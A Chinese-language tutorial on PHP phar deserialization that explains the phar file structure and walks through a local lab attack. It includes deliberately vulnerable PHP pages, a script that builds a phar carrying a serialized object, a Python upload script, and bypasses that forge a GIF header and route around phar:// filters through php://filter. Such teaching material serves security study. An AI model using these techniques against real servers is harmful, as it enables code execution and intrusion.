浅析phar反序列化
# 浅析phar反序列化
# 定义
官方解释:什么是 phar?PHAR(PHP Archive)文件实际上是一种打包格式,用于将多个 PHP 文件和资源打包成一个文件。phar 归档的最佳特征是可以将多个文件组合成一个文件。phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。
可不可以这样认为?phar文件是一个移动U盘,php可以通过phar://
协议直接访问和执行U盘中的文件?
可以使用任何 fopen() 相关函数,opendir() 和 mkdir() 相关函数在 phar 归档内读取、更改、创建新文件或目录
# 结构
phar文件本质是一种压缩文件
# stub (phar文件头)
前面xxx内容不限,但必须以__HALT_COMPILER();
结尾,否则phar扩展无法识别这个phar文件
因为前面的内容不限,在遇到限制文件格式时可以通过stub伪造文件类型上传
xxx<?php xxx; __HALT_COMPILER();?>
# manifest (元数据)
在这部分会将序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
# contents (压缩文件内容)
被压缩文件的内容,可以写入php代码,通过include()及phar协议进行文件包含或者phar协议具体到某个php文件直接执行
# signature (签名)
可选
# 利用
在php.ini
修改配置,开启phar.readonly
选项,取消前面的;
注释
[Phar]
; http://php.net/phar.readonly
phar.readonly = On
2
3
利用前提
- 存在文件上传/文件读写
- 页面定义了类,且存在文件操作的函数
受影响函数列表原文地址 (opens new window)
本地简单尝试利用
phar.php生成phar文件
<?php
highlight_file(__FILE__);
$phar = new Phar("shell.phar"); //生成一个phar文件后缀名必须为phar
$phar->startBuffering();//开始缓冲Phar 写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = 'hello,phar';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要压缩的文件,内容为aaa
//签名自动计算
$phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
2
3
4
5
6
7
8
9
10
11
index.php通过phar协议实现文件包含
<?php
highlight_file(__FILE__);
include$_GET['file'];
2
3
文件操作触发的反序列化
通过写文件代替文件上传,使用file_get_contents()函数举例读取文件时触发phar
反序列化
<?php
highlight_file(__FILE__);
class test{
public $a;
public function __destruct(){
phpinfo();
}
}
# 直接写文件代替文件上传
@file_put_contents($_POST['filename'],$_POST['content']);
$file = $_GET['file'];
@file_get_contents($file);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
生成phar文件
<?php
highlight_file(__FILE__);
class test {
public $a;
}
$phar = new Phar("shell.phar"); //生成一个phar文件后缀名必须为phar
$phar->startBuffering();//开始缓冲Phar 写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new test();
$o -> a='hacker';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "aaa"); //添加要压缩的文件,内容为aaa
//签名自动计算
$phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
题目使用file_put_contents()函数写入文件,直接复制shell.phar
文件内容会失败
需要复制二进制内容,使用python读取、上传
import requests
url = 'http://localhost/stuphar/'
data = {
'filename':'a.phar',
'content':open('shell.phar','rb').read(),
}
resp = requests.post(url,data=data)
print(resp.text)
2
3
4
5
6
7
8
9
上传后,使用phar协议读取phar文件,触发反序列化
# 扩展名
php通过stub
文件头识别phar文件,所以可以自由修改文件后缀名绕过
# 文件头绕过
$phar->setStub("<?php __HALT_COMPILER(); ?>");
,这里stub
的文件头存在操作空间,添加一些白名单文件头
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
# 伪协议绕过
限制phar://
协议开头时,通过其他协议绕回来
include('php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt');
参考: